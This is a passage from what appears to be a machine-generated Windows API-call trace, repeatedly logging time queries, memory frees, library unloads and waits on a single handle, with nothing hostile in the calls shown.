dwHighDateTime=0x1d9eb0c)) [0208.666] free (_Block=0x20abc282000) [0208.666] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.667] free (_Block=0x20abc2867b0) [0208.667] free (_Block=0x20abc27cb20) [0208.667] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3824b913, dwHighDateTime=0x1d9eb0c)) [0208.673] free (_Block=0x20abc281b00) [0208.673] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.674] free (_Block=0x20abc2867b0) [0208.674] free (_Block=0x20abc27cb20) [0208.674] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3824b913, dwHighDateTime=0x1d9eb0c)) [0208.679] free (_Block=0x20abc281d80) [0208.679] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.680] free (_Block=0x20abc2867b0) [0208.681] free (_Block=0x20abc27cf80) [0208.682] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x382722da, dwHighDateTime=0x1d9eb0c)) [0208.690] free (_Block=0x20abc281c80) [0208.690] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.690] free (_Block=0x20abc2867b0) [0208.691] free (_Block=0x20abc27cb20) [0208.691] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x383c8f32, dwHighDateTime=0x1d9eb0c)) [0208.827] free (_Block=0x20abc281d20) [0208.828] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.828] free (_Block=0x20abc2867b0) [0208.829] free (_Block=0x20abc27cf80) [0208.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x383c8f32, dwHighDateTime=0x1d9eb0c)) [0208.829] free (_Block=0x20abc281ec0) [0208.829] FreeLibrary (hLibModule=0x7ffb201b0000) returned 1 [0208.830] free (_Block=0x20abc284e70) [0208.830] free (_Block=0x20abc27cb20) [0208.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.831] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x383ef298, dwHighDateTime=0x1d9eb0c)) [0208.837] free (_Block=0x20abc281b40) [0208.837] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.838] free (_Block=0x20abc2867b0) [0208.838] free (_Block=0x20abc27cb20) [0208.838] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x383ef298, dwHighDateTime=0x1d9eb0c)) [0208.844] free (_Block=0x20abc281a00) [0208.844] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.844] free (_Block=0x20abc2867b0) [0208.845] free (_Block=0x20abc27cb20) [0208.845] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x383ef298, dwHighDateTime=0x1d9eb0c)) [0208.851] free (_Block=0x20abc281c80) [0208.851] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.851] free (_Block=0x20abc2867b0) [0208.852] free (_Block=0x20abc27cb20) [0208.853] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0208.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38415cdd, dwHighDateTime=0x1d9eb0c)) [0208.862] free (_Block=0x20abc2819a0) [0208.862] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0208.863] free (_Block=0x20abc2867b0) [0208.864] free (_Block=0x20abc27cb20) [0208.864] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x385e1833, dwHighDateTime=0x1d9eb0c)) [0209.042] free (_Block=0x20abc281ec0) [0209.043] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.043] free (_Block=0x20abc2867b0) [0209.043] free (_Block=0x20abc27cb20) [0209.044] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.087] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.087] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x387363bf, dwHighDateTime=0x1d9eb0c)) [0209.197] free (_Block=0x20abc281ba0) [0209.197] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.198] free (_Block=0x20abc2867b0) [0209.198] free (_Block=0x20abc27cf80) [0209.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3875c645, dwHighDateTime=0x1d9eb0c)) [0209.208] free (_Block=0x20abc281ea0) [0209.208] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.209] free (_Block=0x20abc2867b0) [0209.210] free (_Block=0x20abc27cf80) [0209.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38782a8f, dwHighDateTime=0x1d9eb0c)) [0209.216] free (_Block=0x20abc281960) [0209.216] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.217] free (_Block=0x20abc2867b0) [0209.218] free (_Block=0x20abc27cf80) [0209.218] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38782a8f, dwHighDateTime=0x1d9eb0c)) [0209.224] free (_Block=0x20abc281ee0) [0209.224] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.224] free (_Block=0x20abc2867b0) [0209.225] free (_Block=0x20abc27cf80) [0209.225] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x387a8ca4, dwHighDateTime=0x1d9eb0c)) [0209.231] free (_Block=0x20abc2820a0) [0209.231] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.231] free (_Block=0x20abc2867b0) [0209.232] free (_Block=0x20abc27cf80) [0209.232] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38a189e8, dwHighDateTime=0x1d9eb0c)) [0209.484] free (_Block=0x20abc281fa0) [0209.485] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.485] free (_Block=0x20abc2867b0) [0209.487] free (_Block=0x20abc27cf80) [0209.487] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38a2ff71, dwHighDateTime=0x1d9eb0c)) [0209.495] free (_Block=0x20abc281d80) [0209.495] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.496] free (_Block=0x20abc2867b0) [0209.497] free (_Block=0x20abc27cf80) [0209.497] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38a565ed, dwHighDateTime=0x1d9eb0c)) [0209.510] free (_Block=0x20abc2819a0) [0209.510] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.511] free (_Block=0x20abc2867b0) [0209.512] free (_Block=0x20abc27cf80) [0209.512] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38a565ed, dwHighDateTime=0x1d9eb0c)) [0209.519] free (_Block=0x20abc281e00) [0209.519] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.520] free (_Block=0x20abc2867b0) [0209.520] free (_Block=0x20abc27cf80) [0209.521] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38a7cb45, dwHighDateTime=0x1d9eb0c)) [0209.528] free (_Block=0x20abc281e60) [0209.528] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.529] free (_Block=0x20abc2867b0) [0209.530] free (_Block=0x20abc27cf80) [0209.530] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38bbcb3e, dwHighDateTime=0x1d9eb0c)) [0209.669] free (_Block=0x20abc281b60) [0209.670] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.671] free (_Block=0x20abc2867b0) [0209.673] free (_Block=0x20abc2a8be0) [0209.673] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38be4b3f, dwHighDateTime=0x1d9eb0c)) [0209.683] free (_Block=0x20abc281c60) [0209.683] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.683] free (_Block=0x20abc2867b0) [0209.684] free (_Block=0x20abc27cb20) [0209.684] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38c09366, dwHighDateTime=0x1d9eb0c)) [0209.693] free (_Block=0x20abc281ea0) [0209.694] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.694] free (_Block=0x20abc2867b0) [0209.694] free (_Block=0x20abc27cb20) [0209.694] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38c09366, dwHighDateTime=0x1d9eb0c)) [0209.700] free (_Block=0x20abc281de0) [0209.700] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.700] free (_Block=0x20abc2867b0) [0209.701] free (_Block=0x20abc27cb20) [0209.701] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38c2f37c, dwHighDateTime=0x1d9eb0c)) [0209.707] free (_Block=0x20abc2819a0) [0209.707] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.708] free (_Block=0x20abc2867b0) [0209.709] free (_Block=0x20abc27cb20) [0209.709] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38d1407d, dwHighDateTime=0x1d9eb0c)) [0209.799] free (_Block=0x20abc281be0) [0209.799] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0209.800] free (_Block=0x20abc2867b0) [0209.801] free (_Block=0x20abc27cb20) [0209.801] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0209.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38d1407d, dwHighDateTime=0x1d9eb0c)) [0210.031] free (_Block=0x20abc281f80) [0210.031] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.032] free (_Block=0x20abc2867b0) [0210.032] free (_Block=0x20abc27cb20) [0210.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38f503bf, dwHighDateTime=0x1d9eb0c)) [0210.038] free (_Block=0x20abc281a40) [0210.039] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.039] free (_Block=0x20abc2867b0) [0210.040] free (_Block=0x20abc27cb20) [0210.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38f76641, dwHighDateTime=0x1d9eb0c)) [0210.049] free (_Block=0x20abc281e60) [0210.049] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.050] free (_Block=0x20abc2867b0) [0210.051] free (_Block=0x20abc27cf80) [0210.051] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x38f76641, dwHighDateTime=0x1d9eb0c)) [0210.057] free (_Block=0x20abc281d60) [0210.057] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.058] free (_Block=0x20abc2867b0) [0210.058] free (_Block=0x20abc27cf80) [0210.058] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3918c802, dwHighDateTime=0x1d9eb0c)) [0210.268] free (_Block=0x20abc282000) [0210.268] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.269] free (_Block=0x20abc2867b0) [0210.269] free (_Block=0x20abc27cf80) [0210.270] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3918c802, dwHighDateTime=0x1d9eb0c)) [0210.280] free (_Block=0x20abc2819a0) [0210.280] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.281] free (_Block=0x20abc2867b0) [0210.282] free (_Block=0x20abc27cf80) [0210.282] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x391b29b3, dwHighDateTime=0x1d9eb0c)) [0210.291] free (_Block=0x20abc281ba0) [0210.291] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.291] free (_Block=0x20abc2867b0) [0210.292] free (_Block=0x20abc27cf80) [0210.292] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x391d8d64, dwHighDateTime=0x1d9eb0c)) [0210.302] free (_Block=0x20abc281fe0) [0210.302] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.303] free (_Block=0x20abc2867b0) [0210.303] free (_Block=0x20abc2a8460) [0210.304] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3933047f, dwHighDateTime=0x1d9eb0c)) [0210.442] free (_Block=0x20abc281e00) [0210.442] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.442] free (_Block=0x20abc2867b0) [0210.443] free (_Block=0x20abc27cf80) [0210.443] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3933047f, dwHighDateTime=0x1d9eb0c)) [0210.450] free (_Block=0x20abc2819a0) [0210.451] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.451] free (_Block=0x20abc2867b0) [0210.452] free (_Block=0x20abc27cf80) [0210.452] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x393571b2, dwHighDateTime=0x1d9eb0c)) [0210.459] free (_Block=0x20abc2819c0) [0210.459] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.460] free (_Block=0x20abc2867b0) [0210.460] free (_Block=0x20abc27cf80) [0210.461] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3937cb1b, dwHighDateTime=0x1d9eb0c)) [0210.472] free (_Block=0x20abc281e60) [0210.473] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.474] free (_Block=0x20abc2867b0) [0210.475] free (_Block=0x20abc2a86e0) [0210.475] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3937cb1b, dwHighDateTime=0x1d9eb0c)) [0210.481] free (_Block=0x20abc281cc0) [0210.481] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.482] free (_Block=0x20abc2867b0) [0210.484] free (_Block=0x20abc2a8a00) [0210.484] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x394ad983, dwHighDateTime=0x1d9eb0c)) [0210.594] free (_Block=0x20abc281f00) [0210.594] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.595] free (_Block=0x20abc2867b0) [0210.596] free (_Block=0x20abc2a8a50) [0210.596] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x394ad983, dwHighDateTime=0x1d9eb0c)) [0210.601] free (_Block=0x20abc281cc0) [0210.602] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.603] free (_Block=0x20abc2867b0) [0210.604] free (_Block=0x20abc2a85f0) [0210.604] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x394d3e39, dwHighDateTime=0x1d9eb0c)) [0210.611] free (_Block=0x20abc281b80) [0210.611] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.612] free (_Block=0x20abc2867b0) [0210.613] free (_Block=0x20abc27cf80) [0210.614] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x394d3e39, dwHighDateTime=0x1d9eb0c)) [0210.621] free (_Block=0x20abc281960) [0210.621] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.622] free (_Block=0x20abc2867b0) [0210.623] free (_Block=0x20abc27cb20) [0210.623] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x394f9f11, dwHighDateTime=0x1d9eb0c)) [0210.634] free (_Block=0x20abc281cc0) [0210.634] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.634] free (_Block=0x20abc2867b0) [0210.635] free (_Block=0x20abc2a8870) [0210.636] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39604e28, dwHighDateTime=0x1d9eb0c)) [0210.746] free (_Block=0x20abc281960) [0210.746] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.747] free (_Block=0x20abc2867b0) [0210.747] free (_Block=0x20abc27cb20) [0210.748] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3962b32c, dwHighDateTime=0x1d9eb0c)) [0210.753] free (_Block=0x20abc281e00) [0210.753] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.754] free (_Block=0x20abc2867b0) [0210.755] free (_Block=0x20abc27cf80) [0210.755] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3962b32c, dwHighDateTime=0x1d9eb0c)) [0210.761] free (_Block=0x20abc281fc0) [0210.761] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.762] free (_Block=0x20abc2867b0) [0210.762] free (_Block=0x20abc27cf80) [0210.762] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x396514e5, dwHighDateTime=0x1d9eb0c)) [0210.768] free (_Block=0x20abc281e00) [0210.768] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.769] free (_Block=0x20abc2867b0) [0210.770] free (_Block=0x20abc27cf80) [0210.770] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39782572, dwHighDateTime=0x1d9eb0c)) [0210.891] free (_Block=0x20abc281d20) [0210.891] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.891] free (_Block=0x20abc2867b0) [0210.892] free (_Block=0x20abc27cb20) [0210.892] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x39782572, dwHighDateTime=0x1d9eb0c)) [0210.898] free (_Block=0x20abc281fc0) [0210.898] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.899] free (_Block=0x20abc2867b0) [0210.900] free (_Block=0x20abc27cb20) [0210.900] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x397a8801, dwHighDateTime=0x1d9eb0c)) [0210.907] free (_Block=0x20abc281ea0) [0210.907] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.908] free (_Block=0x20abc2867b0) [0210.909] free (_Block=0x20abc27cb20) [0210.909] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x397a8801, dwHighDateTime=0x1d9eb0c)) [0210.914] free (_Block=0x20abc2819e0) [0210.914] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.915] free (_Block=0x20abc2867b0) [0210.916] free (_Block=0x20abc27cb20) [0210.916] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x397ceb18, dwHighDateTime=0x1d9eb0c)) [0210.923] free (_Block=0x20abc281ec0) [0210.923] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0210.924] free (_Block=0x20abc2867b0) [0210.925] free (_Block=0x20abc27cb20) [0210.925] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0210.931] 